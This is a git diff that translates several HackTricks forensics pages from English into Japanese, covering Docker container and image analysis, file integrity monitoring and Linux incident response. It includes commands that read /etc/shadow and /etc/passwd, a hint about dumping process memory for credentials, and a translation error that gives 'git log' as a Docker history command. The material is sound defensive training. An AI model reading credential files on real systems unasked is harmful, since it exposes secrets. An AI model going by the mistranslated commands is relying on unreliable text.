[**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-## Container modification - -There are suspicions that some docker container was compromised: +## コンテナの変更 +あるDockerコンテナが侵害された疑いがあります: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +このコンテナに関してイメージに対して行われた変更を簡単に**見つけることができます**。以下のコマンドを使用します: ```bash docker diff wordpress C /var @@ -41,70 +38,56 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +前のコマンドで、**C**は**変更**を意味し、**A**は**追加**を意味します。\ +もし、`/etc/shadow`のような興味深いファイルが変更されていることがわかった場合、以下のコマンドを使用してコンテナからダウンロードし、悪意のある活動をチェックすることができます。 ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +新しいコンテナを実行し、そこからファイルを抽出して元のファイルと比較することもできます。 ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +もし**何らかの不審なファイルが追加された**ことがわかった場合、コンテナにアクセスして確認することができます。 ```bash docker exec -it wordpress bash ``` +## 画像の変更 -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +エクスポートされたDockerイメージ(おそらく`.tar`形式)が与えられた場合、[**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases)を使用して、**変更の概要を抽出**することができます。 ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +次に、イメージを**解凍**し、変更履歴で見つけた疑わしいファイルを検索するために**ブロブにアクセス**できます。 ```bash tar -xf image.tar ``` +### 基本的な分析 -### Basic Analysis - -You can get **basic information** from the image running: +実行中のイメージから**基本情報**を取得できます: +```bash +docker inspect +``` +次のコマンドを使用して、変更の要約履歴を取得することもできます: ```bash -docker inspect +git log --oneline ``` - -You can also get a summary **history of changes** with: - ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +イメージから**dockerfileを生成**することもできます。以下のコマンドを使用します: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Dockerイメージ内の追加/変更されたファイルを見つけるために、[**dive**](https://github.com/wagoodman/dive)([**リリース**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)からダウンロード)ユーティリティを使用することもできます。 ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -113,35 +96,32 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +これにより、Dockerイメージの異なるブロブをナビゲートし、変更/追加されたファイルを確認することができます。**赤色**は追加されたことを意味し、**黄色**は変更されたことを意味します。**Tab**キーを使用して他のビューに移動し、**スペース**キーを使用してフォルダを折りたたむ/展開することができます。 -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +dieを使用すると、イメージの異なるステージの内容にアクセスすることはできません。そのため、各レイヤーを解凍してアクセスする必要があります。\ +イメージのすべてのレイヤーを解凍するには、イメージが解凍されたディレクトリで次のコマンドを実行します: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## メモリからの資格情報 -## Credentials from memory +注意してください、ホスト内でDockerコンテナを実行すると、ホストからコンテナで実行されているプロセスを`ps -ef`コマンドで確認できます。 -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` - -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). +したがって(rootとして)ホストからプロセスのメモリをダンプし、[**以下の例のように**](../../linux-hardening/privilege-escalation/#process-memory)、資格情報を検索することができます。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
diff --git a/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 117a3f587..2960d5be5 100644 --- a/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,44 +1,42 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Baseline +# ベースライン -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +ベースラインは、システムの特定の部分のスナップショットを取ることで、将来の状態と比較して変更点を強調するために使用されます。 -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +例えば、ファイルシステムの各ファイルのハッシュを計算して保存し、変更されたファイルを特定することができます。\ +これは、作成されたユーザーアカウント、実行中のプロセス、実行中のサービスなど、あまり変更されない、または全く変更されないはずのものに対しても行うことができます。 -## File Integrity Monitoring +## ファイル整合性監視 -File integrity monitoring is one of the most powerful techniques used to secure IT infrastructures and business data against a wide variety of both known and unknown threats.\ -The goal is to generate a **baseline of all the files** that you want to monitor and then **periodically** **check** those files for possible **changes** (in the content, attribute, metadata, etc.). +ファイル整合性監視は、ITインフラストラクチャとビジネスデータをさまざまな既知および未知の脅威から保護するために使用される最も強力な技術の一つです。\ +目標は、監視したいすべてのファイルのベースラインを生成し、その後、これらのファイルを定期的に変更(内容、属性、メタデータなど)の可能性に対してチェックすることです。 -1\. **Baseline comparison,** wherein one or more file attributes will be captured or calculated and stored as a baseline that can be compared against in the future. This can be as simple as the time and date of the file, however, since this data can be easily spoofed, a more trustworthy approach is typically used. This may include periodically assessing the cryptographic checksum for a monitored file, (e.g. using the MD5 or SHA-2 hashing algorithm) and then comparing the result to the previously calculated checksum. +1\. **ベースラインの比較**では、1つ以上のファイル属性がキャプチャまたは計算され、将来の比較のためにベースラインとして保存されます。これは、ファイルの時刻や日付などの単純なものでも構いませんが、このデータは簡単に偽装される可能性があるため、信頼性の高いアプローチが通常使用されます。これには、監視されたファイルの暗号ハッシュ(たとえば、MD5やSHA-2ハッシュアルゴリズムを使用)を定期的に評価し、その結果を以前に計算されたハッシュと比較することが含まれる場合があります。 -2\. **Real-time change notification**, which is typically implemented within or as an extension to the kernel of the operating system that will flag when a file is accessed or modified. +2\. **リアルタイムの変更通知**は、通常、ファイルがアクセスまたは変更されたときにフラグを立てるオペレーティングシステムのカーネル内または拡張機能として実装されます。 -## Tools +## ツール * [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) * [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -# References +# 参考文献 * [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) @@ -47,16 +45,14 @@ The goal is to generate a **baseline of all the files** that you want to monitor ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけて、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/forensics/basic-forensic-methodology/linux-forensics.md b/forensics/basic-forensic-methodology/linux-forensics.md index 26da9e658..7f9477ffe 100644 --- a/forensics/basic-forensic-methodology/linux-forensics.md +++ b/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,10 +1,10 @@ -# Linux Forensics +# Linuxフォレンジックス ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -12,27 +12,24 @@ Get Access Today: ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したいですか?または、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 -## Initial Information Gathering +## 初期情報収集 -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### 基本情報 +まず、**USB**に**既知の良いバイナリとライブラリ**を持っていることが推奨されます(単にUbuntuを取得し、_ /bin_、_ /sbin_、_ /lib_、および_ /lib64_のフォルダをコピーすることができます)。次に、USBをマウントし、環境変数を変更してこれらのバイナリを使用します: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +システムを良いものや既知のバイナリを使用するように設定したら、**基本的な情報を抽出**することができます。 ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -50,51 +47,47 @@ cat /etc/passwd #Unexpected data? cat /etc/shadow #Unexpected data? find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory ``` +#### 可疑情報 -#### Suspicious information +基本情報を取得する際に、以下のような奇妙なことをチェックする必要があります: -While obtaining the basic information you should check for weird things like: +* **ルートプロセス**は通常、低いPIDで実行されます。したがって、大きなPIDを持つルートプロセスが見つかった場合は疑わしいと考えられます。 +* `/etc/passwd`内のシェルのないユーザーの**登録済みログイン**をチェックします。 +* シェルのないユーザーの**パスワードハッシュ**を`/etc/shadow`内でチェックします。 -* **Root processes** usually run with low PIDS, so if you find a root process with a big PID you may suspect -* Check **registered logins** of users without a shell inside `/etc/passwd` -* Check for **password hashes** inside `/etc/shadow` for users without a shell +### メモリダンプ -### Memory Dump - -To obtain the memory of the running system, it's recommended to use [**LiME**](https://github.com/504ensicsLabs/LiME).\ -To **compile** it, you need to use the **same kernel** that the victim machine is using. +実行中のシステムのメモリを取得するために、[**LiME**](https://github.com/504ensicsLabs/LiME)を使用することをお勧めします。\ +それを**コンパイル**するためには、被害者のマシンが使用している**同じカーネル**を使用する必要があります。 {% hint style="info" %} -Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it +被害者のマシンには、LiMEや他の何かを**インストールすることはできない**ことを忘れないでください。なぜなら、それによっていくつかの変更が加えられるからです。 {% endhint %} -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: - +したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms`を使用できます。\ +それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME)をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー**を取得するためには、単にディレクトリ`/lib/modules/`を自分のマシンにコピーし、それを使用してLiMEを**コンパイル**します: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiMEは3つの**フォーマット**をサポートしています: -LiME supports 3 **formats**: +* Raw(すべてのセグメントを連結したもの) +* Padded(Rawと同じですが、右ビットにゼロが入っています) +* Lime(メタデータを含む推奨フォーマット) -* Raw (every segment concatenated together) -* Padded (same as raw, but with zeroes in right bits) -* Lime (recommended format with metadata +LiMEはまた、`path=tcp:4444`のような方法を使用して、システムに保存する代わりにダンプを**ネットワーク経由で送信する**ためにも使用できます。 -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### ディスクイメージング -### Disk Imaging +#### システムのシャットダウン -#### Shutting down +まず、**システムをシャットダウンする**必要があります。これは常にオプションではありません。会社がシャットダウンする余裕のないプロダクションサーバーの場合もあります。\ +システムをシャットダウンするには、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つの方法があります。前者は**プロセスが通常通り終了**し、**ファイルシステムが同期**されることを許しますが、**マルウェア**が**証拠を破壊**する可能性もあります。後者の「プラグを抜く」アプローチでは、**一部の情報が失われる**可能性があります(メモリのイメージを既に取得しているため、情報の損失はほとんどありません)が、**マルウェアは何もできません**。したがって、**マルウェア**が存在する可能性がある場合は、システムで**`sync`** **コマンド**を実行してからプラグを抜いてください。 -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### ディスクのイメージを取る +ケースに関連する何かにコンピュータを接続する**前に**、情報を変更しないようにするために、それが**読み取り専用でマウントされることを確認する**必要があります。 ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -103,35 +96,33 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` +### ディスクイメージの事前分析 -### Disk Image pre-analysis - -Imaging a disk image with no more data. - +データがないディスクイメージの作成。 ```bash #Find out if it's a disk image using "file" command -file disk.img +file disk.img disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) #Check which type of disk image it's -img_stat -t evidence.img +img_stat -t evidence.img raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image -fsstat -i raw -f ext4 disk.img +fsstat -i raw -f ext4 disk.img FILE SYSTEM INFORMATION -------------------------------------------- File System Type: Ext4 -Volume Name: +Volume Name: Volume ID: 162850f203fd75afab4f1e4736a7e776 Last Written at: 2020-02-06 06:22:48 (UTC) @@ -160,21 +151,19 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Search for known Malware +## 既知のマルウェアを検索する -### Modified System Files - -Some Linux systems have a feature to **verify the integrity of many installed components**, providing an effective way to identify unusual or out of place files. For instance, `rpm -Va` on Linux is designed to verify all packages that were installed using RedHat Package Manager. +### 変更されたシステムファイル +一部のLinuxシステムには、多くのインストール済みコンポーネントの整合性を検証する機能があり、異常または場所にないファイルを特定する効果的な方法を提供します。たとえば、Linuxの`rpm -Va`は、RedHat Package Managerを使用してインストールされたすべてのパッケージを検証するために設計されています。 ```bash #RedHat rpm -Va @@ -182,22 +171,20 @@ rpm -Va dpkg --verify debsums | grep -v "OK$" #apt-get install debsums ``` +### マルウェア/ルートキット検出ツール -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +マルウェアを見つけるのに役立つツールについては、以下のページを読んでください: {% content-ref url="malware-analysis.md" %} [malware-analysis.md](malware-analysis.md) {% endcontent-ref %} -## Search installed programs +## インストールされたプログラムの検索 -### Package Manager - -On Debian-based systems, the _**/var/ lib/dpkg/status**_ file contains details about installed packages and the _**/var/log/dpkg.log**_ file records information when a package is installed.\ -On RedHat and related Linux distributions the **`rpm -qa --root=/ mntpath/var/lib/rpm`** command will list the contents of an RPM database on a system. +### パッケージマネージャ +Debianベースのシステムでは、_**/var/lib/dpkg/status**_ ファイルにはインストールされたパッケージの詳細が含まれており、_**/var/log/dpkg.log**_ ファイルにはパッケージがインストールされたときの情報が記録されます。\ +RedHatおよび関連するLinuxディストリビューションでは、**`rpm -qa --root=/mntpath/var/lib/rpm`** コマンドを使用してシステムのRPMデータベースの内容をリストアップすることができます。 ```bash #Debian cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -205,17 +192,13 @@ cat /var/log/dpkg.log | grep installed #RedHat rpm -qa --root=/ mntpath/var/lib/rpm ``` +### その他 -### Other - -**Not all installed programs will be listed by the above commands** because some applications are not available as packages for certain systems and must be installed from the source. Therefore, a review of locations such as _**/usr/local**_ and _**/opt**_ may reveal other applications that have been compiled and installed from source code. - +上記のコマンドでは、すべてのインストールされたプログラムがリストされるわけではありません。なぜなら、一部のアプリケーションは特定のシステム向けのパッケージとして利用できず、ソースコードからインストールする必要があるからです。そのため、_**/usr/local**_ や _**/opt**_ などの場所を調べることで、ソースコードからコンパイルしてインストールされた他のアプリケーションが見つかるかもしれません。 ```bash ls /opt /usr/local ``` - -Another good idea is to **check** the **common folders** inside **$PATH** for **binaries not related** to **installed packages:** - +別の良いアイデアは、**インストールされたパッケージに関連しない** **バイナリ**を**$PATH**内の**一般的なフォルダ**で**チェックする**ことです: ```bash #Both lines are going to print the executables in /sbin non related to installed packages #Debian @@ -223,23 +206,21 @@ find /sbin/ -exec dpkg -S {} \; | grep "no path found" #RedHat find /sbin/ –exec rpm -qf {} \; | grep "is not" ``` - ![](<../../.gitbook/assets/image (9) (1) (2).png>) \ -Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**し、自動化することができます。\ +今すぐアクセスを取得してください: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} -## Recover Deleted Running Binaries +## 削除された実行中のバイナリの回復 ![](<../../.gitbook/assets/image (641).png>) -## Inspect Autostart locations - -### Scheduled Tasks +## オートスタートの場所の検査 +### スケジュールされたタスク ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -253,10 +234,9 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ 